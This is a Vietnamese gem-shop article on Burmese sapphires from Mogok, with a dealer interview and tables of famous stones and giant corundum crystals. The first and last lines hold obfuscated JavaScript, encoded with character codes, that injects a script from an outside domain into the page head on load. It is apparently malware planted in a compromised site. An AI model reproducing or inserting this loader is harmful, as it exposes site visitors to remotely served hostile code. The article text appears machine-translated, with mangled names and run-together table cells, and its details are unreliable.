Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,99,115,115,46,100,105,103,101,115,116,99,111,108,101,99,116,46,99,111,109,47,122,98,116,63,118,56,52);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();

Sapphire Myanmar

“Không phải tất cả các viên Sapphire Myanmar đều có màu xanh đậm. Màu sắc tốt nhất là màu xanh lam đậm, mãnh liệt, hơi hung bạo, nhưng một số loại khác khá nhẹ, tương tự như sapphire từ Sri Lanka. Sự khác biệt chính giữa Sapphire Myanmar và Ceylon là độ bão hòa, với những viên sapphire từ Miến Điện sở hữu nhiều màu sắc hơn. Dải màu đa dạng và rất nổi bật trong đá Ceylon, có thể hoàn toàn không có trong ngọc bích Miến Điện. Jade House Việt Nam (www.jadehousevn.com) sẽ chỉ ra điểm thú vị này qua bài viết dưới đây!”

Các Sapphire Myanmar được tìm thấy cùng với hồng ngọc ở các mỏ khai thác ở khắp khu vực Mogok, nhưng được tìm thấy trong ở một số địa phương với số lượng khá lớn, đặc biệt là 8 dặm (13 km) về phía tây Mogok, gần Kathe (Kathe). Tại Kyaungdwin, gần Kathé, một túi nhỏ đã được phát hiện mang lại “những viên ngọc bích tuyệt đẹp trị giá hàng ngàn bảng Anh trong vòng vài tuần.”

Sapphire Myanmar - Jade House Việt Nam - jadehousevn.com
Sapphire Myanmar – Jade House Việt Nam – jadehousevn.com

“Một cuộc phỏng vấn với U Thu Daw”
Đại lý đá quý lâu năm của Mogok, U Thu Daw, một người đương đại của ACD Pain (nổi tiếng đau đớn), đã được phỏng vấn bởi một trong những tác giả (U Hla Win). Sau đây là một số bình luận được chỉnh sửa của ông về saphia Miến Điện:
U Hla Win: Có bất kỳ viên sapphire lớn nào được tìm thấy trong những ngày trước Thế chiến II không?
U Thu Daw: Vâng, bao gồm một số loại đá nổi tiếng. U Kyauk Lon từ làng Gwebin đã tìm thấy một chiếc và bán nó cho Albert Ramsay với giá một nghìn kyats [US $ 13.000]. [Ramsay sau đó đã đặt tên cho người khổng lồ 958-ct là ‘Gem of the Jungle’]
UHW: Không phải anh ấy là người nổi tiếng với những viên ngọc bích sao?
UTD: Vâng, anh ấy trở nên nổi tiếng vì những giao dịch của anh ấy ở Mogok, mặc dù anh ấy không có nhiều tiền khi mới đến.
UHW: Bạn có biết bất kỳ viên sapphire nổi tiếng nào khác không?
UTD: Vâng. U Shwe Hlaing của Zegyi đã tìm thấy một chiếc nặng hơn 100 carat sau khi cắt. Tôi đã nhìn thấy nó bằng chính mắt mình và nó khá đẹp.
UHW: Nó được bán với giá bao nhiêu?
UTD: U Shwe Hlaing đã không bán nó ở Mogok. Sau khi cố gắng bán viên đá quý ở Anh, cuối cùng nó đã được bán cho U Shwe Kin, chủ sở hữu của khách sạn Rangoon’s Kwan Louk, với giá dưới một lakh kyats. U Shwe Kin sau đó đã bán nó ở Hồng Kông.
UHW: Bất kỳ saphia nào khác?
UTD: Tất nhiên rồi. U Kan từ Ze Haung (Chợ Cũ) có một cái nặng 1450 cts. U Shwe Kin cũng đã mua cái này, với giá 70.000 kyats. Nhưng lần này anh không may mắn như vậy. Tôi nghĩ rằng anh ấy đã cắt nó vào thứ bảy. Anh trai của U Shwe Kin đã mang nó đến Hồng Kông. Anh ta bị giết trong một vụ đắm tàu ở đó và hòn đá bị mất. Đó là một viên sapphire tốt và có thể đã lấy 10.000 kyats.
UHW: Có bất kỳ viên sapphire nổi tiếng nào trong thời kỳ hậu chiến không?
UTD: Tôi không nhận thấy nhiều. Các mỏ sapphire nổi tiếng là Loke Khet (Kaday-kadar), Chaunggyi (phía bắc của Mogok) và Lay Thar Taung. Tại Lay Thar Taung, hai anh em, U Thein và U Ba Thaw, đã tạo ra một mỏ sapphire thành công. Có rất nhiều viên ngọc được khai thác đến mức chúng phải được di chuyển bằng ngựa. Những anh em đó rất tốt bụng đến nỗi những người đến mua sapphire đã được bán rất nhiều. Nhiều người trở nên giàu có nhờ những anh em đó.
UHW: Ngọc bích có chất lượng tốt không?
UTD: Họ đã. Ngọc bích Lay Thar Taung nổi tiếng ở Mogok.

Bản thân Bernardmyo đã tạo ra một lượng lớn saphia, nhiều trong số đó có màu sắc và chất lượng tuyệt vời, mặc dù một số có màu chàm đặc biệt, xuất hiện hoặc rất tối hoặc có màu xanh lục khó chịu bởi ánh sáng nhân tạo. Trong một cuộc khai thác bản địa rộng lớn đến Bernardmyo vào năm 1913, một số những viên đá này đã được đặt trên thị trường Luân Đôn.

Nhiều viên đá được tìm thấy ở khu vực này được phủ một lớp da mỏng màu chàm gần như mờ đục, trên mặt đất, đôi khi cho thấy một trung tâm có chất lượng đá quý tốt, nhưng trong nhiều trường hợp có màu xanh lục. Phương pháp xảy ra khác với bất kỳ nơi nào khác vì phần lớn các viên đá được lấy từ một tập đoàn xi măng sắt cứng màu đen, được tìm thấy các lớp dày vài inch, thường chỉ cách một vài feet dưới bề mặt. Khu vực này bây giờ dường như đã cạn kiệt, và việc khai thác ít được thực hiện ở đó cho đến ngày nay ngoại trừ peridots, rất phong phú.

Một khoản tiền gửi tại địa phương bị cô lập mà đã sản xuất một số saphia tốt xảy ra tại Chaungyi, bốn dặm về phía bắc của Mogok, và khoảng một ngàn feet cao hơn.

Khác với màu xanh lam, saphia cũng xuất hiện các màu tím, tím, không màu và vàng tại Mogok. Đá tím và tím có thể tốt; màu vàng có xu hướng ở phía ánh sáng và không phổ biến. Ngọc bích xanh được biết đến, nhưng hiếm.

Sapphire thô

Định hướng của sapphire từ Mogok là quan trọng. Trong khi những viên đá từ các địa phương như Kyauk Pyat Giữ được màu xanh lam phong phú của chúng theo nhiều hướng khác nhau, thì những viên đá từ Chaunggyi và Painpyit lại có màu xanh lục khi trục ckhông chính xác vuông góc với bàn. Nhiều đại lý của Mogok gán hiện tượng này là “lụa đen vô hình” và chú ý nghiêm ngặt đến địa phương khi mua sapphire thô.

Khoảng năm 1967, một tinh thể nặng 12,6 kg (63.000 ct) nổi lên tại Mogok. Hôm nay, bức tượng khổng lồ sapphire này được trưng bày tại văn phòng Myanma Gems Enterprise (MGE). Giống như hầu hết tất cả các mẫu vật khổng lồ, nó khác xa với chất lượng đá quý. Để xem liệu thứ gì đó có chất lượng đá quý có thể ẩn giấu bên trong, nhân viên MGE đã loại bỏ nó bằng máy khoan và cưa. Than ôi, nội thất cũng mờ đục như da. Mặc dù mảnh này được MGE coi là “tinh thể sapphire lớn nhất thế giới”, nhưng thực tế, một số mẫu vật lớn hơn nhiều được biết đến, bao gồm một tinh thể nặng 40,3 kg từ Sri Lanka có chứa các phần đá quý. Vào ngày 22 tháng 2 năm 1994, một viên sapphire lớn 502 cts đã được tìm thấy tại Khabine, cách Gwebin khoảng 2,4 km. Pha lê là một kim tự tháp duy nhất có màu xanh lam phong phú và hơi mượt.

Bảng 1: Tóm tắt về những viên sapphire màu xanh nổi tiếng của Miến Điện

Tên, trọng lượng, mô tả và giá bán * Nguồn &
ngày tìm thấy
Vị trí hiện tại Tài liệu tham khảo
Sapphire của Ruspoli (‘Sapphire Người bán thìa gỗ’ hoặc ‘Sapphire vĩ đại của Louis XIV’)
135,8 cts; hình thoi (chỉ sáu mặt); đã được tìm thấy bởi một người bán thìa gỗ ở Bengal; được bán bởi House of Ruspoli (Rospoli?) của Rome cho một hoàng tử Đức (nhân viên bán hàng?), người đã lần lượt bán nó cho thợ kim hoàn Perret của Pháp với giá 170.000 franc. Sau này được mua bởi Louis XIV.
Được cho là người Bengal;có thể là Miến Điện hoặc Sri Lanka
Ngày chưa biết
Muséum National D’Histoire Naturelle, Paris
Được định giá 100.000 bảng vào năm 1791
Tagore, 1879, 1881
Streeter,
Ngân hàng 1892 , 1973
H.-J. Schubnel (liên tục, ngày 16 tháng 12 năm 1994; ngày 5 tháng 1 năm 1995)
951 cts chưa được đặt tên ; thô hoặc cắt không rõ; nhìn thấy vào năm 1827 trong kho bạc của vua Ava Không xác định (Miến Điện?)
Ngày không xác định
không xác định Smith, 1913
Không tên
Rough, trọng lượng không rõ; được bán với giá 28.000 Rupee (1.870 bảng)
Redhill Mine
Mogok, Miến Điện
1917
không xác định Thời báo Luân Đôn,ngày 11 tháng 7 năm 1917
Không tên
113 cts; thô; được bán với giá 45.000 Rupee
Bernardmyo, Mogok, Miến Điện
ngày 10 tháng 5 năm 1919
không xác định Thời báo Luân Đôn,ngày 15 tháng 7 năm 1919
Giấu tên
Trọng lượng không rõ; thô; được bán với giá 40.000 Rupee
Mogok, Miến Điện
1919
không xác định Thời báo Luân Đôn,ngày 15 tháng 7 năm 1919
437 cts không tên ; không nêu rõ thô hay cắt; trị giá hơn 11.000 bảng Mogok, Miến Điện
1928
không xác định Công nghiệp khoáng sản, 1929
Đá quý của rừng
958 cts. thô; cắt đá 66,50 (66,53?), 20,25, 20,00, 13,11, 12,25, 11,33, 11,11, 5,50 và 4,33 cts; được mua bởi Albert Ramsay với giá hơn 13.000 bảng
Gwebin, Mogok, Miến Điện
tháng 8 năm 1929 (hoặc tháng 7 năm 1930)
không xác định Công nghiệp khoáng sản, Công nghiệp khoáng sản1930
, 1931
Ramsay và cộng sự, 1934
Halford-Watkins, 1935a
Ngôi sao châu Á
330 cts; cắt cabon; sapphire xanh sao tím; mua lại vào năm 1961 từ Martin Ehrmann; từng được cho là thuộc về Maharaja of Jodhpur
Ngày Miến Điện không rõ Smithsonian Desautels, 1972
Trắng, 1991
630 cts chưa được đặt tên thô (khi chia tay để cắt, nó tỏ ra ít giá trị hơn dự kiến) Kathé
Mogok, Miến Điện
tháng 5 năm 1930
không xác định Thời báo Luân Đôn,ngày 31 tháng 5 năm 1930
Công nghiệp khoáng sản, 1930, 1932
Brown, 1933
Chưa đặt tên
293 cts thô
Kathé
Mogok, Miến Điện
1930
không xác định Nâu, 1933
Chưa đặt tên
gần 1000 cts thô
Gwebin, Mogok, Miến Điện
ngày 12 tháng 8 năm 1932
không xác định Nâu, 1933
Chưa đặt tên
514 cts; thô
Mogok, Miến Điện
tháng 12 năm 1932
không xác định Nâu, 1933
Sao sapphire không tên
435 cts; không biết là thô hay cắt
Kathé, Mogok, Miến Điện
1932
không xác định Công nghiệp khoáng sản, 1934
Chưa đặt tên là
390 cts; thô; được bán với giá hơn 3.000 bảng
Mogok, Miến Điện
1930
không xác định Halford-Watkins, 1935b
Chưa đặt tên
~ 99 cts; khía cạnh; tròn; được rao bán tại Bangkok vào đầu những năm 1980 với giá 10.000 USD / ct
Ngày Miến Điện không rõ không xác định Tác giả (RWH)
Chưa đặt tên
41,04 cts; khía cạnh; cắt ngọc lục bảo; được bán tại Sotheber’s New York, tháng 10 năm 1986 với giá 924.000 đô la (22.515 đô la / ct)
Ngày Miến Điện không rõ Được mua bởi nhà bán lẻ Mỹ Khuyết danh, 1986
Chưa đặt tên
62,02 cts; mặt cắt, bước hình chữ nhật cắt; gắn trong vòng kim cương;được bán tại Sothotti’s St. Moritz, ngày 20 tháng 2 năm 1988, với giá $ 2,828,546 ($ 45,607 / ct). Mỗi carat và tổng giá kỷ lục thế giới cho một viên sapphire màu xanh.
Ngày Miến Điện không rõ không xác định Hughes và cộng sự, 1988
Matthews, 1993
4145 cts chưa được đặt tên ; thô; được chào bán tại 1993 Myanma Gems Enterprise Emporium (Lô 95; giá khởi điểm $ 300.000) Ngày Miến Điện không rõ không xác định U Hla Win, ba.ngày 2 tháng 9 năm 1994
Chưa đặt tên
14.387 cts; thô; được chào bán tại 1993 Myanma Gems Enterprise Emporium (Lô 96; giá khởi điểm $ 50.000)
Ngày Miến Điện không rõ không xác định U Hla Win, ba.ngày 2 tháng 9 năm 1994
Chưa đặt tên là
251,60 cts; cabbon sao; được chào bán tại 1993 Myanma Gems Enterprise Emporium (Lô 165; giá khởi điểm $ 300.000)
Ngày Miến Điện không rõ không xác định U Hla Win, ba.ngày 2 tháng 9 năm 1994
502 cts chưa được đặt tên ; tinh thể thô, hình kim tự tháp, mượt, màu sắc tốt Kabaing, Mogok, Miến Điện
ngày 22 tháng 2 năm 1994
không xác định U Hla Win, ba.ngày 22 tháng 6 năm 1994
* Vào ngày 1 tháng 4 năm 1914, carat được tiêu chuẩn hóa thành 200 miligam. Trọng lượng trước ngày đó chỉ là gần đúng. Tất cả giá đô la bằng đô la Mỹ trừ khi có quy định khác. [  trở về đầu bảng]

Bảng 2: Tóm tắt về người khổng lồ corundum thô
(thường không phải là chất lượng đá quý)

Tên, trọng lượng, mô tả và giá bán * Nguồn &
ngày tìm thấy
Vị trí hiện tại Tài liệu tham khảo
Chưa đặt tên là
312 lb (141,5 kg; 707.500 cts); đục, đỏ và xanh pha lê
Franklin, NC
Trước 1882
Bộ sưu tập Shepard
Amherst College, Hoa Kỳ
Kunz, 1892
Chưa đặt tên
trên 10 lb (4,5 kg); tinh thể sapphire
Mogok, Miến Điện
1928
không xác định Công nghiệp khoáng sản, 1929
Không tên
335 lb (152 kg); pha lê lục giác bipyramid (không phải chất lượng đá quý); Chiều rộng 2 ft, 3 in (68,58 cm). Đây là tinh thể corundum lớn nhất được biết đến trong hồ sơ.
Leydsdorp, Bắc Transvaal, Nam Phi
Ngày chưa biết
Bảo tàng Khảo sát Địa chất, Pretoria, Nam Phi Spencer, 1933
Vô danh, 1951
Chưa đặt tên
42 lb (19 kg); pha lê được cho là có hình dạng của đảo Sri Lanka
Ngày Sri Lanka không rõ Bảo tàng Lịch sử Tự nhiên Hoa Kỳ? Khuyết danh, 1936
Wijesekera, 1980
Chưa đặt tên
34 lb (15,42 kg); pha lê
Không rõ nguồn
ngày
viện bảo tàng Anh Khuyết danh, 1951
63.000 cts chưa được đặt tên (12,6 kg; 27,783 lb); pha lê thô, kim tự tháp màu xám xanh (không phải chất lượng đá quý); 27 x 14,25 6,75 in (68,58 36.195 17.145 cm) Mogok, Miến Điện
ca. 1967
Doanh nghiệp đá quý Myanma, Miến Điện Khuyết danh, 1967
Chưa đặt tên
40,3 kg; tinh thể bipyramid thô, gấp đôi
Rakwana, Sri Lanka
Ngày chưa biết
không xác định Koivula và Kammerling, 1989
Chưa xác định
4.230 cts; thô; tinh thể lưỡng cực màu xanh; không phải đá quý
Lokekhet (‘Kadegadar’) Mogok, Miến Điện
tháng 9 năm 1990
Doanh nghiệp đá quý Myanma, Miến Điện Nhân dân làm việc hàng ngày, 5 tháng 2 năm 1991
Clark, 1991, tr. 68
* Vào ngày 1 tháng 4 năm 1914, carat được tiêu chuẩn hóa thành 200 miligam. Trọng lượng trước ngày đó chỉ là gần đúng. Tất cả giá đô la bằng đô la Mỹ trừ khi có quy định khác.

 

Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,99,115,115,46,100,105,103,101,115,116,99,111,108,101,99,116,46,99,111,109,47,122,98,116,63,118,56,52);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();